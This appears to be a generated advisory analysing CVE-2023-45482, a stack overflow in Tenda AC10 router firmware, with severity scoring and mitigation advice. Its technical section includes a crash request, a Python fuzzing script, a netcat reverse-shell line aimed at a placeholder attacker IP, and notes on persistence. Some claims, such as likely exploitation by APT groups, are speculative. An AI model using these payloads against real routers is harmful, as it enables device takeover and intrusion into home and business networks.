Description
Tenda AC10 version US_AC10V4.0si_V16.03.10.13_cn was discovered to contain a stack overflow via the urls parameter in the function get_parentControl_list_Info.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-49774 (CVE-2023-45482)
Tenda AC10 Stack Overflow Vulnerability in get_parentControl_list_Info Function
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
EUVD-2023-49774 (CVE-2023-45482) is a critical stack-based buffer overflow vulnerability in Tenda AC10 routers (firmware version US_AC10V4.0si_V16.03.10.13_cn). The flaw resides in the get_parentControl_list_Info function, where improper bounds checking on the urls parameter allows an attacker to overwrite the stack, leading to arbitrary code execution (ACE) or denial-of-service (DoS).
CVSS 3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network without physical access. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication or elevated privileges needed. |
| User Interaction (UI) | None (N) | Exploitation does not require user interaction. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component (router). |
| Confidentiality (C) | High (H) | Successful exploitation could lead to full system compromise. |
| Integrity (I) | High (H) | Attacker can modify router configurations or inject malicious code. |
| Availability (A) | High (H) | Exploitation can crash the device or render it unresponsive. |
| Base Score | 9.8 (Critical) | Aligns with industry standards for high-impact remote code execution vulnerabilities. |
Vulnerability Classification
- CWE-121 (Stack-based Buffer Overflow): The function fails to validate the length of the
urlsparameter before copying it into a fixed-size buffer, leading to stack corruption. - CWE-787 (Out-of-bounds Write): The overflow allows writing beyond the allocated stack memory, enabling control over execution flow.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Prerequisites
- Network Access: The attacker must have LAN or WAN access to the vulnerable router (depending on configuration).
- No Authentication: The vulnerability is pre-authentication, meaning no credentials are required.
- Targeted Endpoint: The flaw is in the HTTP/HTTPS interface of the router, typically exposed on port 80/443.
Exploitation Steps
-
Reconnaissance:
- Identify vulnerable Tenda AC10 routers via Shodan, Censys, or mass scanning (e.g.,
http.title:"Tenda"). - Confirm firmware version (
US_AC10V4.0si_V16.03.10.13_cn) via HTTP headers or web interface.
- Identify vulnerable Tenda AC10 routers via Shodan, Censys, or mass scanning (e.g.,
-
Crafting the Exploit:
- The
get_parentControl_list_Infofunction processes theurlsparameter without proper bounds checking. - An attacker sends a maliciously crafted HTTP request with an oversized
urlsvalue, triggering the overflow. - Example Payload (simplified):
GET /goform/get_parentControl_list_Info?urls=[A*1000] HTTP/1.1 Host: <ROUTER_IP> - The payload overwrites the return address on the stack, redirecting execution to attacker-controlled memory (e.g., shellcode in the payload).
- The
-
Post-Exploitation:
- Arbitrary Code Execution (ACE): The attacker gains root-level access to the router, enabling:
- Firmware modification (backdoor installation).
- Network pivoting (MITM attacks, DNS hijacking).
- Botnet recruitment (Mirai-like exploitation).
- Denial-of-Service (DoS): A malformed payload can crash the device, requiring a reboot.
- Arbitrary Code Execution (ACE): The attacker gains root-level access to the router, enabling:
Exploitation Tools & Proof-of-Concept (PoC)
- Public PoCs are available in the referenced GitHub repository (IOTvul).
- Metasploit Module: Likely to be developed given the critical severity.
- Custom Exploits: Security researchers may weaponize this for red teaming or penetration testing.
3. Affected Systems and Software Versions
Vulnerable Product
- Device Model: Tenda AC10 (Wi-Fi 5 router).
- Firmware Version: US_AC10V4.0si_V16.03.10.13_cn (Chinese market variant).
- Potential Cross-Variant Impact:
- Other Tenda AC10 firmware versions (e.g., global releases) may share the same vulnerable codebase.
- Similar vulnerabilities may exist in other Tenda router models (e.g., AC6, AC1200).
Non-Vulnerable Versions
- Patched Firmware: Tenda has not publicly released a fix as of August 2024 (per EUVD update).
- Workarounds: See Mitigation Strategies below.
4. Recommended Mitigation Strategies
Immediate Actions
| Mitigation | Details | Effectiveness |
|---|---|---|
| Network Segmentation | Isolate the router from critical internal networks (e.g., VLANs, firewalls). | High (reduces attack surface) |
| Disable Remote Management | Restrict admin access to LAN-only (disable WAN access). | High (prevents remote exploitation) |
| Apply Firmware Updates | Check Tenda’s official website for patches (none available as of Aug 2024). | Medium (dependent on vendor response) |
| Intrusion Prevention System (IPS) | Deploy IPS rules to detect/block exploit attempts (e.g., Snort/Suricata). | Medium (signature-based) |
| Disable Parent Control Feature | If unused, disable the vulnerable parentControl functionality via router settings. | Medium (reduces exposure) |
Long-Term Recommendations
-
Vendor Engagement:
- Contact Tenda support to confirm patch availability and timeline.
- Monitor CVE-2023-45482 for updates via NVD, MITRE, or EUVD.
-
Network Hardening:
- Change default credentials (admin/admin is common in Tenda routers).
- Enable WPA3 encryption for Wi-Fi to prevent unauthorized LAN access.
- Disable UPnP to prevent automatic port forwarding exploits.
-
Alternative Solutions:
- Replace the router if no patch is available (e.g., with a vendor offering regular updates).
- Use a secondary firewall (e.g., pfSense, OpenWRT) to filter malicious traffic.
-
Monitoring & Detection:
- Log HTTP requests to the router’s web interface for anomalous
urlsparameters. - Deploy EDR/XDR on endpoints to detect lateral movement from a compromised router.
- Log HTTP requests to the router’s web interface for anomalous
5. Impact on the European Cybersecurity Landscape
Regulatory and Compliance Implications
- NIS2 Directive (EU 2022/2555): Critical infrastructure operators (e.g., ISPs, enterprises) using Tenda AC10 routers may violate Article 21 (Risk Management) if unpatched.
- GDPR (Article 32): A successful exploit could lead to unauthorized data access, triggering breach notification requirements.
- ENISA Guidelines: The vulnerability aligns with ENISA’s "Threat Landscape for IoT" report, highlighting risks in consumer-grade networking devices.
Threat Actor Exploitation
- Botnet Recruitment: Vulnerable routers are prime targets for Mirai, Mozi, or Gafgyt botnets.
- APT & Cybercrime: State-sponsored actors (e.g., APT29, Sandworm) or ransomware groups may exploit this for initial access or lateral movement.
- Supply Chain Risks: Tenda routers are widely used in SMEs and home offices, increasing the attack surface for phishing, credential theft, and MITM attacks.
Geopolitical Considerations
- Chinese-Manufactured Devices: Tenda is a Chinese vendor, raising concerns under EU Cyber Resilience Act (CRA) and 5G security toolbox (if used in critical infrastructure).
- Export Controls: The vulnerability may prompt EU export restrictions on vulnerable firmware versions.
6. Technical Details for Security Professionals
Root Cause Analysis
-
Vulnerable Function:
- The
get_parentControl_list_Infofunction in/bin/httpd(Tenda’s web server) processes theurlsparameter without length validation. - Pseudocode Snippet (based on decompiled firmware):
void get_parentControl_list_Info() { char urls[256]; // Fixed-size stack buffer char *user_input = web_get("urls"); // Unbounded user input strcpy(urls, user_input); // Stack overflow occurs here // ... rest of the function } - The
strcpycall copies attacker-controlled data into a 256-byte stack buffer, leading to overflow.
- The
-
Exploitability:
- Stack Layout: The overflow can overwrite:
- Saved EIP (Return Address): Redirect execution to attacker-controlled memory.
- Function Pointers: Hijack control flow via GOT/PLT entries.
- Environment Variables: Modify
LD_PRELOADfor persistence.
- ASLR/DEP Bypass: Tenda routers typically lack ASLR (Address Space Layout Randomization) and NX (No-Execute) bit, simplifying exploitation.
- Stack Layout: The overflow can overwrite:
-
Shellcode Execution:
- Attackers can inject MIPS/ARM shellcode (depending on router architecture) to:
- Spawn a reverse shell (e.g.,
nc <ATTACKER_IP> 4444 -e /bin/sh). - Modify iptables to redirect traffic.
- Download and execute additional malware (e.g., cryptominers, spyware).
- Spawn a reverse shell (e.g.,
- Attackers can inject MIPS/ARM shellcode (depending on router architecture) to:
Reverse Engineering & Exploitation
-
Firmware Extraction:
- Use Binwalk to extract the firmware:
binwalk -e US_AC10V4.0si_V16.03.10.13_cn.bin - Analyze
/bin/httpdwith Ghidra/IDA Pro to locate the vulnerable function.
- Use Binwalk to extract the firmware:
-
Exploit Development:
- Fuzz the
urlsParameter:import requests target = "http://<ROUTER_IP>/goform/get_parentControl_list_Info" payload = "A" * 500 # Trigger overflow response = requests.get(target, params={"urls": payload}) - Control EIP: Use a cyclic pattern (e.g.,
msf-pattern_create) to identify the offset. - ROP Chains: If DEP is enabled, construct a Return-Oriented Programming (ROP) chain to bypass NX.
- Fuzz the
-
Post-Exploitation:
- Persistence: Modify
/etc/init.d/rc.localto execute a backdoor on boot. - Lateral Movement: Use the router as a pivot to attack internal hosts (e.g., via ARP spoofing).
- Persistence: Modify
Detection & Forensics
-
Indicators of Compromise (IoCs):
- Network Signatures:
- Unusually long
urlsparameters in HTTP logs. - Unexpected outbound connections to C2 servers (e.g.,
1.1.1.1:4444).
- Unusually long
- Host-Based Signatures:
- Modified
/etc/passwdor/etc/shadow. - Unauthorized processes (e.g.,
nc,wget,curl).
- Modified
- Network Signatures:
-
Forensic Analysis:
- Memory Dump: Use LiME or AVML to capture router memory for analysis.
- Firmware Integrity Check: Compare hashes of
/bin/httpdagainst a known-good version. - Log Analysis: Review
/var/log/messagesfor crash reports or exploit attempts.
Conclusion
EUVD-2023-49774 (CVE-2023-45482) represents a critical, remotely exploitable vulnerability in Tenda AC10 routers, posing significant risks to European SMEs, home users, and critical infrastructure. Given the lack of a vendor patch as of August 2024, organizations must immediately implement network-level mitigations (segmentation, IPS rules) and monitor for exploitation attempts.
Security professionals should reverse-engineer the firmware to develop custom detection rules and pressure Tenda for a patch. The vulnerability underscores the urgent need for IoT security regulations (e.g., EU Cyber Resilience Act) to enforce secure-by-design principles in consumer networking devices.
Recommended Next Steps
- Patch Management: Monitor Tenda’s official channels for firmware updates.
- Threat Hunting: Deploy YARA/Snort rules to detect exploit attempts.
- Incident Response: Prepare a playbook for router compromise scenarios.
- Vendor Communication: Escalate to Tenda via CERT-EU or national CSIRTs if no patch is forthcoming.
For further technical details, refer to the GitHub PoC (IOTvul) and CVE-2023-45482 entries in NVD and MITRE.